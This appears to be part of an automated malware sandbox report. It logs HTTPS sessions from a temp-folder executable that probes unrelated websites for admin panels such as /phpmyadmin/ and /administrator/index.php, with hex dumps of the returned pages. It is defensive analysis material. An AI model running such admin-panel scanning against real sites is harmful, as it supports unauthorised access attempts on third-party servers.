2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 33 64 63 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3dc4<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4deb2"></scri
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a 65 72 2e 6a 73 3f 76 3d 35 2e 30 2e Data Ascii: ry.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resizer.js?v=5.0.
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javasc
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 72 79 3a 22 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 35 37 32 65 33 35 33 33 35 63 32 64 32 33 32 33 33 63 33 35 35 64 33 30 34 32 33 36 33 62 34 33 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 53 74 72 75 63 74 75 72 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c Data Ascii: ry:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"572e35335c2d23233c355d3042363b43",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_defaul
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 76 65 6e 64 6f 72 2f 63 6f 64 65 6d 69 72 72 6f 72 2f 6c 69 Data Ascii: , 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js', 1) .add('vendor/codemirror/li
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 0a 0a 20 20 0a 20 20 0a 20 20 0a 20 20 0a 0a 20 20 3c 64 Data Ascii: JAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_header"></div> <d
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 64 65 6e 22 20 6e 61 6d 65 3d 22 74 61 62 6c 65 22 20 76 61 6c 75 65 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 35 37 32 65 33 35 33 33 35 63 32 64 32 33 32 33 33 63 33 35 35 64 33 30 34 32 33 36 33 62 34 33 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 Data Ascii: den" name="table" value=""><input type="hidden" name="token" value="572e35335c2d23233c355d3042363b43"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	55997	162.215.248.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.devnetmedia.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	380	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:25 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:25 UTC	7812	IN	Data Raw: 32 30 31 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 44 65 76 4e 65 74 4d 65 64 69 61 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: 201e<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – DevNetMedia</title><link rel
2023-12-20 02:13:25 UTC	416	IN	Data Raw: 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 68 35 2c 20 2e 70 61 67 65 20 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 68 36 2c 20 2e 70 61 67 65 20 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 74 68 2c 20 2e 73 69 6e 67 6c 65 20 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 2c 20 2e 73 69 6e 67 6c 65 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 20 61 2c 20 2e 73 69 6e 67 6c 65 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 73 2d 74 69 74 6c 65 2c 20 2e 73 69 6e 67 6c 65 20 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 68 31 2c 20 2e 73 69 6e 67 6c 65 20 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 68 32 2c 20 2e 73 69 6e 67 6c 65 20 2e 63 6f 6e 74 65 Data Ascii: .content-area h5, .page .content-area h6, .page .content-area th, .single .comments-area .comment-author, .single .comments-area .comment-author a, .single .comments-area .comments-title, .single .content-area h1, .single .content-area h2, .single .conte
2023-12-20 02:13:25 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:26 UTC	8192	IN	Data Raw: 32 30 37 36 0d 0a 3b 20 7d 0a 09 09 2e 73 69 6e 67 6c 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 74 65 78 74 2c 20 2e 70 61 67 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 74 65 78 74 2c 20 2e 70 61 67 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 74 65 78 74 20 61 2c 20 2e 73 69 6e 67 6c 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 74 65 78 74 20 61 2c 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 64 61 74 61 20 61 2c 20 2e 73 69 6e 67 6c 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 74 65 78 74 20 2a 20 7b 20 63 6f 6c 6f 72 3a 20 3b 20 7d 0a 09 09 2e 70 61 67 65 20 2e 63 6f 6e 74 65 6e 74 2d 61 72 65 61 20 70 2c 20 2e 70 61 67 65 20 61 72 74 69 63 6c 65 2c 20 2e 70 61 67 65 20 2e 63 6f 6e 74 65 6e 74 Data Ascii: 2076; }.single .post-data-text, .page .post-data-text, .page .post-data-text a, .single .post-data-text a, .comments-area .comment-meta .comment-metadata a, .single .post-data-text * { color: ; }.page .content-area p, .page article, .page .content
2023-12-20 02:13:26 UTC	124	IN	Data Raw: 63 68 2d 6e 6f 2d 72 65 73 75 6c 74 73 20 69 6e 70 75 74 2e 73 65 61 72 63 68 2d 73 75 62 6d 69 74 2c 20 2e 65 72 72 6f 72 34 30 34 20 6d 61 69 6e 23 6d 61 69 6e 2c 20 2e 73 65 61 72 63 68 2d 6e 6f 2d 72 65 73 75 6c 74 73 20 73 65 63 74 69 6f 6e 2e 66 62 6f 78 2e 6e 6f 2d 72 65 73 75 6c 74 73 2e 6e 6f 74 2d 66 6f 75 6e 64 7b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 Data Ascii: ch-no-results input.search-submit, .error404 main#main, .search-no-results section.fbox.no-results.not-found{ border-color:
2023-12-20 02:13:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:26 UTC	8192	IN	Data Raw: 32 30 35 30 0d 0a 3b 20 7d 0a 09 09 2e 73 69 6e 67 6c 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 64 69 76 69 64 65 72 2c 20 2e 70 61 67 65 20 2e 70 6f 73 74 2d 64 61 74 61 2d 64 69 76 69 64 65 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 3b 20 7d 0a 09 09 2e 73 69 6e 67 6c 65 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 70 2e 66 6f 72 6d 2d 73 75 62 6d 69 74 20 69 6e 70 75 74 2c 20 2e 70 61 67 65 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 70 2e 66 6f 72 6d 2d 73 75 62 6d 69 74 20 69 6e 70 75 74 20 7b 20 63 6f 6c 6f 72 3a 20 3b 20 7d 0a 09 09 2e 62 6f 74 74 6f 6d 2d 68 65 61 64 65 72 2d 77 72 61 70 70 65 72 20 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 70 78 3b 20 7d 0a 09 09 2e 62 6f 74 74 6f 6d 2d 68 65 61 64 65 72 2d 77 72 61 70 70 65 72 20 7b Data Ascii: 2050; }.single .post-data-divider, .page .post-data-divider { background: ; }.single .comments-area p.form-submit input, .page .comments-area p.form-submit input { color: ; }.bottom-header-wrapper { padding-top: px; }.bottom-header-wrapper {
2023-12-20 02:13:26 UTC	86	IN	Data Raw: 64 65 76 6e 65 74 6d 65 64 69 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 65 6d 62 65 64 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 35 2e 31 33 27 20 69 64 3d 27 77 70 2d 65 6d 62 65 64 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: devnetmedia.com/wp-includes/js/wp-embed.min.js?ver=5.5.13' id='wp-embed-js'></script>
2023-12-20 02:13:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:26 UTC	27	IN	Data Raw: 31 30 0d 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 10</body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	55804	95.173.180.22	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	186	OUT	GET /administrator/index.php HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=m48egqd2q2nvr836ao2vr25bg2; path=/ Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Vary: Accept-Encoding,User-Agent
2023-12-20 02:13:26 UTC	15812	IN	Data Raw: 35 32 65 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 Data Ascii: 52ee<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
2023-12-20 02:13:26 UTC	5426	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 73 73 22 20 6e 61 6d 65 3d 22 74 65 6c 65 66 6f 6e 22 20 74 61 72 67 65 74 3d 22 74 65 6b 6c 69 66 4e 6f 32 22 20 74 79 70 65 3d 22 74 65 78 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 73 73 2d 73 70 61 6e 22 20 69 64 3d 22 74 65 6b 6c 69 66 4e 6f 32 22 3e 54 45 4c 45 46 4f 4e 20 4e 4f 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <label> <input class="form-css" name="telefon" target="teklifNo2" type="text"> <span class="form-css-span" id="teklifNo2">TELEFON NO</span>
2023-12-20 02:13:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	56234	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	394	OUT	GET /administrator/index.php HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://topshelfgames.com/administrator/
2023-12-20 02:13:25 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_QOk9VzsHpSBAki2ApRS6a8T2yq7171Bd0Vq3eynRuJYsfmBQNnl+DjppFabLUNy8gRTV/ja3izxEH6JFhF5avg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:25 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	56277	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	233	OUT	GET /administrator/index.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://majormega.com/administrator/
2023-12-20 02:13:25 UTC	756	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://majormega.com/administrator/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nW6D7SQ%2FJEwD24Nh1enpMEDbpcBmMrgdJGTkFN9epoKjlsC9omraLJMkjL8MzEU0nJ2RAZ%2F4bH4%2Fk2e2%2FyDd0%2BRk3ldUP7EkzAd%2FV57etMndFRSvEyay1EUL5o8X6Qao"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845db28fd3db1d-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	56379	104.26.7.37	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	341	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip Cookie: site_version_phase=108; site_version=HDv3 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.hugedomains.com/domain_profile.cfm?d=uniqueaustralian.com
